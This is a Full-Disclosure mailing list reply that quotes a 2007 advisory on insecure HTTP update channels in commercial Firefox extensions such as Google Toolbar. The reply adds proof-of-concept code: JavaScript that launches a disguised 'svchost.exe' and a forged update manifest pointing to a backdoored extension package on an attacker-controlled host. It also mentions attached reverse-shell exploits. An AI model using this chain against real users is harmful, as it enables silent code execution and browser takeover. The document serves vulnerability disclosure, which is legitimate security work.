Very good and detailed advisory,<br>I came up with the same issue about one month ago and developed two PoCs. <br><br>Here is the hash : <a href="http://ferruh.mavituna.com/makale/firefox-hash/">http://ferruh.mavituna.com/makale/firefox-hash/
</a> (shame on me that I haven't sent to any public mail-list. If you really curious check out RSS caches and google cache) and brief explanation is in the attachment (Firefox-MITM.txt). <br><br>I attached Google Toolbar PoC. Be careful it's throwing a reverse shell also I got a PoC for Linux as well.
<br><br>To clarify things, you can execute arbitrary code with current user's rights. <br><br>Here is a sample code,<br>--------------------<br>exepath = Components.classes["@<a href="http://mozilla.org/file/directory_service;1">
mozilla.org/file/directory_service;1</a>"].getService( Components.interfaces.nsIProperties).get("ProfD",Components.interfaces.nsIFile).path + "\\extensions\\{3112ca9c-de6d-4884-a869-9855de68056c}\\chrome\\svchost.exe";
<br> runFile(exepath);<br><br>function runFile(f) {<br> var file = Components.classes["@<a href="http://mozilla.org/file/local;1">mozilla.org/file/local;1</a>"]<br> .createInstance(Components.interfaces.nsILocalFile
);<br><br> file.initWithPath(f);<br><br> var process = Components.classes["@<a href="http://mozilla.org/process/util;1">mozilla.org/process/util;1</a>"]<br> .createInstance(Components.interfaces.nsIProcess
);<br><br> process.init(file);<br><br> var args = [""];<br> process.run(false, args, args.length);<br>}<br><br>--------------------<br><br><br>Sample update response XML,<br>----------<br><?xml version="
1.0"?><RDF:RDF xmlns:RDF="<a href="http://www.w3.org/1999/02/22-rdf-syntax-ns#">http://www.w3.org/1999/02/22-rdf-syntax-ns#</a>" xmlns:em="<a href="http://www.mozilla.org/2004/em-rdf#">http://www.mozilla.org/2004/em-rdf#
</a>"><br><RDF:Description about="urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}"><br><em:updates><RDF:Seq><br><RDF:li resource="urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}:
<a href="http://4.0.0.16">4.0.0.16</a>"/><br></RDF:Seq></em:updates></RDF:Description><br><RDF:Description about="urn:mozilla:extension:{3112ca9c-de6d-4884-a869-9855de68056c}:<a href="http://4.0.0.16">
4.0.0.16</a>"><br><em:version><a href="http://4.0.0.16">4.0.0.16</a></em:version><br><em:targetApplication><RDF:Description><br><em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<br><em:minVersion>1.5.0</em:minVersion><br><em:maxVersion>2.9.99</em:maxVersion><br><em:updateLink><a href="http://192.168.1.130/firefox/google.xpi">http://192.168.1.130/firefox/google.xpi</a>
</em:updateLink><br></RDF:Description></em:targetApplication></RDF:Description><br></RDF:RDF><br>----------<br>This is our backdoored xpi file url : <a href="http://192.168.1.130/firefox/google.xpi">
http://192.168.1.130/firefox/google.xpi</a><br>I modified the google-toolbar.xul and added to run svchost.exe file which is in xpi file as well.<br><br>Sample xpi file attached, modified version of google toolbar extension and it will work every time you launch Firefox.
<br><br><br>Thanks to pentestmonkey - <a href="http://pentestmonkey.net">http://pentestmonkey.net</a> and <a href="http://www.notsosecure.com">http://www.notsosecure.com</a> for helping me in PoC and the attack.<br><br>Regards,
<br><br><div><span class="gmail_quote">On 30/05/07, <b class="gmail_sendername">Christopher Soghoian</b> <<a href="mailto:csoghoian@gmail.com">csoghoian@gmail.com</a>> wrote:</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
This information also posted (with html link goodness) to<br><a href="http://paranoia.dubfire.net/2007/05/remote-vulnerability-in-firefox.html">http://paranoia.dubfire.net/2007/05/remote-vulnerability-in-firefox.html</a><br>
<br>--------------------------<br>Executive Summary<br>--------------------------<br><br>A vulnerability exists in the upgrade mechanism used by a number of<br>high profile Firefox extensions. These include Google Toolbar, Google
<br>Browser Sync, Yahoo Toolbar, <a href="http://Del.icio.us">Del.icio.us</a> Extension, Facebook Toolbar,<br>AOL Toolbar, <a href="http://Ask.com">Ask.com</a> Toolbar, LinkedIn Browser Toolbar, Netcraft<br>Anti-Phishing Toolbar, PhishTank SiteChecker and a number of others,
<br>mainly commercial extensions.<br><br>Users of the Google Pack suite of software are most likely vulnerable,<br>as this includes the Google Toolbar for Firefox.<br><br>The latest version of all of these listed, and many other extensions
<br>are vulnerable. This is not restricted to a specific version of<br>Firefox.<br><br>Users are vulnerable and are at risk of an attacker silently<br>installing malicious software on their computers. This possibility<br>
exists whenever the user cannot trust their domain name server (DNS)<br>or network connection. Examples of this include public wireless<br>networks, and users connected to compromised home routers.<br><br>The vast majority of the open source/hobbyist made Firefox extensions
<br>- those that are hosted at <a href="https://addons.mozilla.org">https://addons.mozilla.org</a> - are not<br>vulnerable to this attack. Users of popular Firefox extensions such as<br>NoScript, Greasemonkey, and AdBlock Plus have nothing to worry about.
<br><br>In addition to notifying the Firefox Security Team, some of the most<br>high-profile vulnerable software vendors (Google, Yahoo, and Facebook)<br>were notified 45 days ago, although none have yet released a fix. The
<br>number of vulnerable extensions is more lengthy than those listed in<br>this document. Until vendors have fixed the problems, users should<br>remove/disable all Firefox extensions except those that they are sure<br>they have downloaded from the official Firefox Add-ons website
<br>(<a href="https://addons.mozilla.org">https://addons.mozilla.org</a>). If in doubt, delete the extension, and<br>then download it again from a safe place.<br><br>In Firefox, this can be done by going to Tools->Add-ons. Select the
<br>individual extensions, and then click on the uninstall button.<br><br>------------------------------------<br>Frequently Asked Questions<br>------------------------------------<br><br>Q: Who is at risk?<br><br>A: Anyone who has installed the Firefox Web Browser and one or more
<br>vulnerable extensions. These include, but are not limited to: Google<br>Toolbar, Google Browser Sync, Yahoo Toolbar, <a href="http://Del.icio.us">Del.icio.us</a> Extension,<br>Facebook Toolbar, AOL Toolbar, <a href="http://Ask.com">
Ask.com</a> Toolbar, LinkedIn Browser<br>Toolbar, Netcraft Anti-Phishing Toolbar, PhishTank SiteChecker.<br><br>Q: How many people are at risk?<br><br>A: Millions. Exact numbers for each toolbar/extension are not released
<br>by the vendors. Google Toolbar, which is one of the most popular of<br>the vulnerable extensions, is installed as part of the download<br>process with WinZip, RealNetworks' Real Player and Adobe's Shockwave.<br>
Google publicly pays website publishers $1 for each copy of Firefox +<br>Google Toolbar that customers download and install through a<br>publisher's website.<br><br>Google confirmed in 2005 that their toolbar product's user base was
<br>"in the millions". Given the number of distribution deals that have<br>been signed, the number of users can only have grown in size since.<br><br>Q: When am I at risk?<br><br>A: When you use a public wireless network, an untrusted Internet
<br>connection, or a wireless home router with the default password set.<br><br>Q: What can happen to me?<br><br>A: An attacker can covertly install malicious software that will run<br>within your web browser. Such software could spy on the you, hijack
<br>e-banking sessions, steal emails, send email spam and a number of<br>other nasty tasks.<br><br>Q: What can I do to reduce my risk?<br><br>A: Users with wireless home routers should change their password to<br>something other than the default.
<br><br>Until the vendors release secure updates to their software, users<br>should remove or disable all Firefox extensions and toolbars. Only<br>those that have been downloaded from the official Firefox Add-Ons page<br>
are safe.<br><br>In Firefox, this can be done by going to the Tools menu and choose the<br>Add-ons item. Select the individual extensions, and then click on the<br>uninstall button.<br><br>Q: Why is this attack possible?<br>
<br>A: The problem stems from design flaws, false assumptions, and a lack<br>of solid developer documentation instructing extension authors on the<br>best way to secure their code.<br><br>The nature of the vulnerability described in this report is technical,
<br>but its impact can be limited by appropriate user configuration. This<br>shows the relation between the technical and social aspects of<br>security. For numerous other examples, please see the publications<br>listed at
<a href="http://www.stop-phishing.com">www.stop-phishing.com</a>. It also illustrates the need for good<br>education of typical Internet users. This has been recognized as a<br>difficult problem to tackle, but some recent efforts,
e.g.,<br><a href="http://www.SecurityCartoon.com">www.SecurityCartoon.com</a> look promising.<br><br>----------------------------------<br>Description Of Vulnerability<br>----------------------------------<br><br>The Firefox web browser includes the ability for third parties to
<br>release code, known as extensions, that will run within the user's<br>browser. Firefox also includes an upgrade mechanism, enabling the<br>extensions to poll an Internet server, looking for updates. If an<br>update is available, the extension will typically ask the user if they
<br>wish to upgrade, and then will download and install the new code.<br><br>An exploitable vulnerability exists in the upgrade mechanism used by<br>Firefox. The only real way to secure the upgrade path is for those<br>websites hosting extensions and their updates to use SSL technology.
<br>The Mozilla team have provided a free hosting service for open source<br>extensions, which is secure out of the box, by having the code served<br>from <a href="https://addons.mozilla.org">https://addons.mozilla.org</a>
<br><br>For the most part, any extension which gets updates from a website<br>that looks like <a href="http://www.example.com">http://www.example.com</a> is insecure, while an extension<br>that gets its updates from a website that looks like
<br><a href="https://www.other-example.com">https://www.other-example.com</a> is secure.<br><br>The vulnerability is made possible through the use of a man in the<br>middle attack, a fairly old computer security technique. Essentially,
<br>an attacker must somehow convince your machine that he is really the<br>update server for one or more of your extensions, and then the Firefox<br>browser will download and install the malicious update without<br>alerting the user to the fact that anything is wrong. While Firefox
<br>does at least prompt the user when updates are available, some<br>commercial extensions (including those made by Google) have disabled<br>this, and thus silently update their extensions without giving the<br>user any say in the matter.
<br><br>A DNS based man in the middle attack will not work against a SSL<br>enabled webserver. This is because SSL certificates certify an<br>association between a specific domain name and an ip address. An<br>attempted man in the middle attack against a SSL enabled Firefox
<br>update server will result in the browser rejecting the connection to<br>the masquerading update server, as the ip address in the SSL<br>certificate, and the ip address returned by the DNS server will not<br>match.<br>
<br>-----------------------------------<br>When Are Users Vulnerable<br>-----------------------------------<br><br>Users are most vulnerable to this attack when they cannot trust their<br>domain name server. Examples of such a situation include:
<br><br> * Using a public or unencrypted wireless network.<br><br> * Using a network router (wireless or wired) at home that has been<br>infected/hacked through a drive by pharming attack. This particular<br>risk can be heavily reduced by changing the default password on your
<br>home router.<br><br> * Using a 'network hub' - either at the office, a university, or elsewhere.<br><br>Such users are vulnerable to a number of attacks such as DNS spoofing,<br>DNS poisoning and ARP spoofing. A potential hack can occur when a
<br>malicious person is able to convince a victim's Firefox browser to<br>connect to a malicious host, instead of going to the intended update<br>server.<br><br>Using this vulnerability, an attacker can force a user's browser to
<br>download and install malicious code. Such code runs within the<br>browser, and does not run as a superuser or privileged user. A<br>malicious extension could spy on the user, perform an active man in<br>the middle attack on e-banking sessions, steal emails, send spam from
<br>the user's account, perform local network port scanning, and a number<br>of other nasty tasks.<br><br>------------------------<br>Fixing The Problem<br>------------------------<br><br><br>The number of vulnerable extensions is more lengthy than those listed
<br>in this document. Until vendors have fixed the problems, users should<br>remove/disable all Firefox extensions except those that they are sure<br>they have downloaded from the official Firefox Add-ons website<br>(<a href="https://addons.mozilla.org">
https://addons.mozilla.org</a>). If in doubt, delete the extension, and<br>then download it again from a safe place.<br><br>In Firefox, this can be done by going to Tools->Add-ons. Select the<br>individual extensions, and then click on the uninstall button.
<br><br>The vendors can either host their extensions on<br><a href="https://addons.mozilla.org">https://addons.mozilla.org</a>, or if they choose to host them on their<br>own webservers, they should turn on SSL. While this is not a
<br>particularly difficult engineering effort, for those extensions with<br>millions of users, it may require a few additional machines to cope<br>with the extra load required by all of those SSL connections.<br><br>As a matter of general policy, vendors really should not have their
<br>software silently install updates without asking the user's<br>permission. It is asking for trouble.<br><br>The Mozilla Security Team has updated their developer documentation to<br>properly address the risks that hosting updates from an insecure
<br>server can pose. The updated documentation can be found online.<br><br>There seems to be one commercial vendor whose extension does get its<br>updates from a secure website. The McAfee SiteAdvisor does things<br>correctly, and is thus not vulnerable to this attack.
<br><br>-------------------------------------------------------------------<br>Why Are Commercial Vendors' Extensions Vulnerable<br>-------------------------------------------------------------------<br><br><br>The vast majority of commercial software vendors do not have their
<br>extensions hosted on the <a href="https://addons.mozilla.org">https://addons.mozilla.org</a> website. They<br>prefer to control the entire user experience, and thus wish to have<br>the users connect to their own servers for the initial download and
<br>future updates. These vendors are not hosting the updates on a secure,<br>SSL-enabled webserver, and thus the update process for these<br>extensions is vulnerable to a man in the middle attack.<br><br>Some vendors have made things much worse by having their extensions
<br>automatically update without asking the user for permission. The<br>majority of the open source extensions follow the Firefox defaults,<br>and thus require that the user "OK" any software updates.<br><br>---------------------------------
<br>What About Code Signing<br>---------------------------------<br><br><br>The code signing functionality in Firefox is fairly limited. The main<br>difference is that a signed extension will show the signer's name when
<br>the user is prompted to install the extension, while an unsigned<br>extension will list "un-signed" next to the extension name.<br><br>The availability of an update without signatures for extensions that<br>
previously had a valid signature does not raise any kind of error.<br>Furthermore, the signature is thrown away as soon as the new extension<br>update is installed.<br><br>Code signing is not currently an effective method of securing the
<br>extension upgrade path. Developers should instead have their updates<br>served by a SSL enabled webserver.<br><br>-----------------------------<br>Notification of Vendors<br>-----------------------------<br><br><br>The Mozilla Security Team was notified of this on April 16th. They do
<br>not believe that this is a Firefox bug or vulnerability, due to the<br>fact that the vast majority of extensions (those hosted at<br><a href="https://addons.mozilla.org">https://addons.mozilla.org</a>) are secure by default.
<br><br>The Ebay developed, but Mozilla cobranded Firefox/Ebay extension was<br>vulnerable, but the Mozilla Security Team fixed the problems and<br>rolled out an update within 2 days of being notified.<br><br>The Mozilla developers have created an entry in their bug tracking
<br>database for the insecure updates issue, but it is not slated to be<br>fixed until Firefox 3.0.<br><br>The Google Security Team was notified of the problem on April 16th.<br>They were given a full explanation of the vulnerability. An additional
<br>four emails were sent between April 20th and May 24th. These included<br>additional information on the problem, offers to provide help as well<br>as offers to delay publication of the vulnerability. The Google<br>Security Team replied on May 25th stating that they were working on a
<br>fix, and expected to have it ready and deployed before May 30th. At<br>the time of publishing this vulnerability disclosure, it does not<br>appear that Google has rolled out an update yet.<br><br>The Yahoo Security Team was notified of the problem on April 21st. A
<br>human being replied to the initial report with intelligent questions,<br>in less than 12 hours, on a Saturday. There has been no further<br>communication from Yahoo.<br><br>The Facebook Security Team was notified on April 21st. They replied
<br>with two emails from a human being confirming receipt of the report.<br>There has been no further communication from Facebook.<br><br>The number of vulnerable extensions continues to grow. It is just not<br>feasible to provide advanced notification to every creator of a
<br>Firefox extension. Advanced notice has thus been given to those major<br>vendors who the research initially focused on.<br><br>The CERT disclosure policy states that "All vulnerabilities reported<br>to the CERT/CC will be disclosed to the public 45 days after the
<br>initial report, regardless of the existence or availability of patches<br>or workarounds from affected vendors." Given the fact that fixing the<br>flaw is a fairly trivial engineering task (changing a couple urls from
<br>http->https), and it is very easy for users to protect themselves<br>(remove the vulnerable toolbars), sitting on this information any<br>longer would be a bad idea.<br><br>Another other well respected responsible disclosure policy sets a 5
<br>days time limit. If the vendor does not keep in touch with the<br>security developer every 5 days, then the vulnerability will be made<br>public. While this path was not followed, it is worth noting that<br>neither Google, Yahoo or Facebook made an attempt to keep the lines of
<br>communication open. Following such a policy, this information would<br>have thus been revealed a number of weeks ago.<br><br>---------------------------------------------------------<br>Self Disclosure/Conflict of Interest Statement
<br>---------------------------------------------------------<br><br><br>Christopher Soghoian is a PhD student in the School of Informatics at<br>Indiana University. He is a member of the Stop Phishing Research<br>Group. His research is focused in the areas of phishing, click-fraud,
<br>search privacy and airport security. He has worked an intern with<br>Google, Apple, IBM and Cybertrust. He is the co-inventor of several<br>pending patents in the areas of mobile authentication, anti-phishing,<br>and virtual machine defense against viruses. His website is
<br><a href="http://www.dubfire.net/chris/">http://www.dubfire.net/chris/</a> and he blogs regularly at<br><a href="http://paranoia.dubfire.net">http://paranoia.dubfire.net</a><br><br>This vulnerability was discovered and disclosed to vendors during the
<br>spring semester, while he was paid as a researcher assistant at<br>Indiana University. He is now currently working at an internship in<br>Europe. This disclosure announcement, and the vulnerability in no way<br>reflect the opinions or corporate policy of his current employer nor
<br>those of Indiana University.<br><br>Information on this vulnerability was disclosed for free to the above<br>listed vendors. Christopher Soghoian has not been financially<br>compensated for this work. He has no malicious or ill feelings towards
<br>any of the vulnerable software companies.<br><br>He was an intern with the Application Security Team at Google during<br>the summer of 2006. Finding this vulnerability did not involve using<br>any confidential information that he learned while employed by Google.
<br>It was done solely with a copy of Firefox and a packet sniffer.<br><br>_______________________________________________<br>Full-Disclosure - We believe in it.<br>Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html">
http://lists.grok.org.uk/full-disclosure-charter.html</a><br>Hosted and sponsored by Secunia - <a href="http://secunia.com/">http://secunia.com/</a><br></blockquote></div><br><br clear="all"><br>-- <br>Ferruh Mavituna<br>
<a href="http://ferruh.mavituna.com">http://ferruh.mavituna.com</a>